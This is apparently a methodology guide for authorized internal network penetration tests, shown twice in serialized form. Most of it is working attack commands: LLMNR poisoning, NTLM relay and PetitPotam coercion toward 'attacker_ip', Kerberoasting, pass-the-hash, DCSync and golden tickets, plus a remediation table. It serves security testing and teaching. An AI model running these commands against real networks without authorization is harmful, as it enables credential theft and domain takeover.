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The tester operates from an \"assumed breach\" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting internal network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Signed Rules of Engagement with internal network scope\n- Network access: physical Ethernet drop or VPN connection to internal VLAN\n- Standard domain user credentials (assumed breach model) or unauthenticated access\n- Testing laptop with Kali Linux, Impacket, Responder, BloodHound\n- Coordination with IT\u002FSOC for monitoring and emergency contacts\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Phase 1 — Network Discovery and Enumeration\n\n### Initial Network Reconnaissance\n\n```bash\n# Identify your own network position\nip addr show\nip route show\ncat \u002Fetc\u002Fresolv.conf\n\n# ARP scan for live hosts on local subnet\narp-scan --localnet --interface eth0\n\n# Nmap host discovery across internal ranges\nnmap -sn 10.0.0.0\u002F8 --exclude 10.0.0.1 -oG internal_hosts.gnmap\nnmap -sn 172.16.0.0\u002F12 -oG internal_hosts_172.gnmap\nnmap -sn 192.168.0.0\u002F16 -oG internal_hosts_192.gnmap\n\n# Extract live hosts\ngrep \"Status: Up\" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt\n\n# Port scan live hosts — top 1000 ports\nnmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan\n\n# Service-specific scans\nnmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap\nnmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap\nnmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap\nnmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap\n```\n\n### Active Directory Enumeration\n\n```bash\n# Enumerate domain information with domain credentials\n# Using CrackMapExec \u002F NetExec\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --shares\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --users\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --groups\n\n# LDAP enumeration\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=user)\" sAMAccountName memberOf\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa\n\n# BloodHound data collection\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all\n# Import JSON files into BloodHound GUI for attack path analysis\n\n# Enum4linux-ng for legacy enumeration\nenum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'\n```\n\n### Network Service Enumeration\n\n```bash\n# SMB share enumeration\nsmbclient -L \u002F\u002F10.0.0.10 -U 'testuser%Password123'\nsmbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 10.0.0.1\n\n# DNS zone transfer attempt\ndig axfr corp.local @10.0.0.5\n\n# NFS enumeration\nshowmount -e 10.0.0.15\n\n# MSSQL enumeration\nimpacket-mssqlclient 'corp.local\u002Ftestuser:Password123@10.0.0.20' -windows-auth\n```\n\n## Phase 2 — Credential Attacks\n\n### Network Credential Capture\n\n```bash\n# Responder — LLMNR\u002FNBT-NS\u002FmDNS poisoning\nsudo responder -I eth0 -dwPv\n\n# Capture NTLMv2 hashes from Responder logs\ncat \u002Fusr\u002Fshare\u002Fresponder\u002Flogs\u002FNTLMv2-*.txt\n\n# mitm6 — IPv6 DNS takeover\nsudo mitm6 -d corp.local\n\n# ntlmrelayx — relay captured credentials\nimpacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks\n\n# PetitPotam — coerce NTLM authentication\npython3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \\\n  attacker_ip 10.0.0.5\n```\n\n### Password Attacks\n\n```bash\n# Crack captured NTLMv2 hashes\nhashcat -m 5600 ntlmv2_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Password spraying (careful with lockout policies)\nnetexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce\nnetexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce\n\n# Kerberoasting — target service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast_hashes.txt\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# AS-REP Roasting — target accounts without pre-auth\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep_hashes.txt\nhashcat -m 18200 asrep_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 3 — Exploitation and Lateral Movement\n\n### Lateral Movement Techniques\n\n```bash\n# Pass-the-Hash with Impacket\nimpacket-psexec 'corp.local\u002Fadmin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b\n\n# WMI execution\nimpacket-wmiexec 'corp.local\u002Fadmin:AdminPass123@10.0.0.30'\n\n# Evil-WinRM for PowerShell remoting\nevil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'\n\n# SMBExec\nimpacket-smbexec 'corp.local\u002Fadmin:AdminPass123@10.0.0.30'\n\n# RDP access\nxfreerdp \u002Fv:10.0.0.30 \u002Fu:admin \u002Fp:'AdminPass123' \u002Fcert-ignore \u002Fdynamic-resolution\n\n# SSH pivoting\nssh -D 9050 user@10.0.0.40\nproxychains nmap -sT -p 80,443,445,3389 10.10.0.0\u002F24\n```\n\n### Privilege Escalation\n\n```bash\n# Windows privilege escalation\n# Check for local admin via token impersonation\nmeterpreter> getsystem\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# PowerShell-based privesc checks\n# Run PowerUp\npowershell -ep bypass -c \"Import-Module .\\PowerUp.ps1; Invoke-AllChecks\"\n\n# Check for unquoted service paths\nwmic service get name,pathname,startmode | findstr \u002Fi \u002Fv \"C:\\Windows\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Linux privilege escalation\n.\u002Flinpeas.sh\nsudo -l\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\ncat \u002Fetc\u002Fcrontab\n```\n\n### Domain Escalation\n\n```bash\n# DCSync attack (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DaPass123@10.0.0.5' -just-dc\n\n# Golden Ticket attack\nimpacket-ticketer -nthash \u003Ckrbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator\n\n# Silver Ticket attack\nimpacket-ticketer -nthash \u003Cservice_hash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fdb01.corp.local administrator\n\n# ADCS exploitation (Certifried, ESC1-ESC8)\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5\ncertipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \\\n  -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local\n```\n\n## Phase 4 — Data Access and Impact Demonstration\n\n```bash\n# Access sensitive file shares\nsmbclient \u002F\u002F10.0.0.10\u002FFinance -U 'domainadmin%DaPass123'\n> dir\n> get Q4_Financial_Report.xlsx\n\n# Database access\nimpacket-mssqlclient 'sa:DbPassword123@10.0.0.20'\nSQL> SELECT name FROM sys.databases;\nSQL> SELECT TOP 10 * FROM customers;\n\n# Extract proof of access (DO NOT exfiltrate real data)\necho \"PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)\" > \u002Ftmp\u002Fproof.txt\n\n# Document access chain\n# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01\n# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise\n```\n\n## Phase 5 — Reporting\n\n### Attack Path Documentation\n\n```\nAttack Path 1: Domain Compromise via LLMNR Poisoning\n  Step 1: LLMNR\u002FNBT-NS poisoning captured NTLMv2 hash (T1557.001)\n  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!\n  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)\n  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)\n  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)\n  Impact: Complete domain compromise from unauthenticated network position\n```\n\n### Findings Severity Matrix\n\n| Finding | CVSS | MITRE ATT&CK | Remediation |\n|---------|------|---------------|-------------|\n| LLMNR\u002FNBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR\u002FNBT-NS via GPO |\n| Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords |\n| Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords |\n| Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords |\n| Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model |\n\n## Tools Reference\n\n| Tool | Purpose |\n|------|---------|\n| Responder | LLMNR\u002FNBT-NS\u002FmDNS poisoning |\n| Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) |\n| BloodHound | AD attack path visualization |\n| NetExec (CrackMapExec) | Network service enumeration and spraying |\n| Evil-WinRM | PowerShell remoting client |\n| Certipy | AD Certificate Services exploitation |\n| Mimikatz | Windows credential extraction |\n| Hashcat | Password hash cracking |\n| Nmap | Network scanning and enumeration |\n| LinPEAS\u002FWinPEAS | Privilege escalation enumeration |\n\n## References\n\n- Cobalt Internal Network Pentesting Methodology: https:\u002F\u002Fdocs.cobalt.io\u002Fmethodologies\u002Finternal-network\u002F\n- MITRE ATT&CK Enterprise: https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002F\n- PTES: http:\u002F\u002Fwww.pentest-standard.org\u002F\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- BloodHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n","# Conducting Internal Network Penetration Test\n\n## Overview\n\nAn internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an \"assumed breach\" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting internal network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Signed Rules of Engagement with internal network scope\n- Network access: physical Ethernet drop or VPN connection to internal VLAN\n- Standard domain user credentials (assumed breach model) or unauthenticated access\n- Testing laptop with Kali Linux, Impacket, Responder, BloodHound\n- Coordination with IT\u002FSOC for monitoring and emergency contacts\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Phase 1 — Network Discovery and Enumeration\n\n### Initial Network Reconnaissance\n\n```bash\n# Identify your own network position\nip addr show\nip route show\ncat \u002Fetc\u002Fresolv.conf\n\n# ARP scan for live hosts on local subnet\narp-scan --localnet --interface eth0\n\n# Nmap host discovery across internal ranges\nnmap -sn 10.0.0.0\u002F8 --exclude 10.0.0.1 -oG internal_hosts.gnmap\nnmap -sn 172.16.0.0\u002F12 -oG internal_hosts_172.gnmap\nnmap -sn 192.168.0.0\u002F16 -oG internal_hosts_192.gnmap\n\n# Extract live hosts\ngrep \"Status: Up\" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt\n\n# Port scan live hosts — top 1000 ports\nnmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan\n\n# Service-specific scans\nnmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap\nnmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap\nnmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap\nnmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap\n```\n\n### Active Directory Enumeration\n\n```bash\n# Enumerate domain information with domain credentials\n# Using CrackMapExec \u002F NetExec\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --shares\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --users\nnetexec smb 10.0.0.0\u002F24 -u 'testuser' -p 'Password123' --groups\n\n# LDAP enumeration\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=user)\" sAMAccountName memberOf\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa\n\n# BloodHound data collection\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all\n# Import JSON files into BloodHound GUI for attack path analysis\n\n# Enum4linux-ng for legacy enumeration\nenum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'\n```\n\n### Network Service Enumeration\n\n```bash\n# SMB share enumeration\nsmbclient -L \u002F\u002F10.0.0.10 -U 'testuser%Password123'\nsmbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 10.0.0.1\n\n# DNS zone transfer attempt\ndig axfr corp.local @10.0.0.5\n\n# NFS enumeration\nshowmount -e 10.0.0.15\n\n# MSSQL enumeration\nimpacket-mssqlclient 'corp.local\u002Ftestuser:Password123@10.0.0.20' -windows-auth\n```\n\n## Phase 2 — Credential Attacks\n\n### Network Credential Capture\n\n```bash\n# Responder — LLMNR\u002FNBT-NS\u002FmDNS poisoning\nsudo responder -I eth0 -dwPv\n\n# Capture NTLMv2 hashes from Responder logs\ncat \u002Fusr\u002Fshare\u002Fresponder\u002Flogs\u002FNTLMv2-*.txt\n\n# mitm6 — IPv6 DNS takeover\nsudo mitm6 -d corp.local\n\n# ntlmrelayx — relay captured credentials\nimpacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks\n\n# PetitPotam — coerce NTLM authentication\npython3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \\\n  attacker_ip 10.0.0.5\n```\n\n### Password Attacks\n\n```bash\n# Crack captured NTLMv2 hashes\nhashcat -m 5600 ntlmv2_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Password spraying (careful with lockout policies)\nnetexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce\nnetexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce\n\n# Kerberoasting — target service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast_hashes.txt\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# AS-REP Roasting — target accounts without pre-auth\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep_hashes.txt\nhashcat -m 18200 asrep_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 3 — Exploitation and Lateral Movement\n\n### Lateral Movement Techniques\n\n```bash\n# Pass-the-Hash with Impacket\nimpacket-psexec 'corp.local\u002Fadmin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b\n\n# WMI execution\nimpacket-wmiexec 'corp.local\u002Fadmin:AdminPass123@10.0.0.30'\n\n# Evil-WinRM for PowerShell remoting\nevil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'\n\n# SMBExec\nimpacket-smbexec 'corp.local\u002Fadmin:AdminPass123@10.0.0.30'\n\n# RDP access\nxfreerdp \u002Fv:10.0.0.30 \u002Fu:admin \u002Fp:'AdminPass123' \u002Fcert-ignore \u002Fdynamic-resolution\n\n# SSH pivoting\nssh -D 9050 user@10.0.0.40\nproxychains nmap -sT -p 80,443,445,3389 10.10.0.0\u002F24\n```\n\n### Privilege Escalation\n\n```bash\n# Windows privilege escalation\n# Check for local admin via token impersonation\nmeterpreter> getsystem\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# PowerShell-based privesc checks\n# Run PowerUp\npowershell -ep bypass -c \"Import-Module .\\PowerUp.ps1; Invoke-AllChecks\"\n\n# Check for unquoted service paths\nwmic service get name,pathname,startmode | findstr \u002Fi \u002Fv \"C:\\Windows\" | findstr \u002Fi \u002Fv \"\"\"\n\n# Linux privilege escalation\n.\u002Flinpeas.sh\nsudo -l\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\ncat \u002Fetc\u002Fcrontab\n```\n\n### Domain Escalation\n\n```bash\n# DCSync attack (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DaPass123@10.0.0.5' -just-dc\n\n# Golden Ticket attack\nimpacket-ticketer -nthash \u003Ckrbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator\n\n# Silver Ticket attack\nimpacket-ticketer -nthash \u003Cservice_hash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fdb01.corp.local administrator\n\n# ADCS exploitation (Certifried, ESC1-ESC8)\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5\ncertipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \\\n  -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local\n```\n\n## Phase 4 — Data Access and Impact Demonstration\n\n```bash\n# Access sensitive file shares\nsmbclient \u002F\u002F10.0.0.10\u002FFinance -U 'domainadmin%DaPass123'\n> dir\n> get Q4_Financial_Report.xlsx\n\n# Database access\nimpacket-mssqlclient 'sa:DbPassword123@10.0.0.20'\nSQL> SELECT name FROM sys.databases;\nSQL> SELECT TOP 10 * FROM customers;\n\n# Extract proof of access (DO NOT exfiltrate real data)\necho \"PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)\" > \u002Ftmp\u002Fproof.txt\n\n# Document access chain\n# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01\n# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise\n```\n\n## Phase 5 — Reporting\n\n### Attack Path Documentation\n\n```\nAttack Path 1: Domain Compromise via LLMNR Poisoning\n  Step 1: LLMNR\u002FNBT-NS poisoning captured NTLMv2 hash (T1557.001)\n  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!\n  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)\n  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)\n  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)\n  Impact: Complete domain compromise from unauthenticated network position\n```\n\n### Findings Severity Matrix\n\n| Finding | CVSS | MITRE ATT&CK | Remediation |\n|---------|------|---------------|-------------|\n| LLMNR\u002FNBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR\u002FNBT-NS via GPO |\n| Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords |\n| Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords |\n| Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords |\n| Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model |\n\n## Tools Reference\n\n| Tool | Purpose |\n|------|---------|\n| Responder | LLMNR\u002FNBT-NS\u002FmDNS poisoning |\n| Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) |\n| BloodHound | AD attack path visualization |\n| NetExec (CrackMapExec) | Network service enumeration and spraying |\n| Evil-WinRM | PowerShell remoting client |\n| Certipy | AD Certificate Services exploitation |\n| Mimikatz | Windows credential extraction |\n| Hashcat | Password hash cracking |\n| Nmap | Network scanning and enumeration |\n| LinPEAS\u002FWinPEAS | Privilege escalation enumeration |\n\n## References\n\n- Cobalt Internal Network Pentesting Methodology: https:\u002F\u002Fdocs.cobalt.io\u002Fmethodologies\u002Finternal-network\u002F\n- MITRE ATT&CK Enterprise: https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002F\n- PTES: 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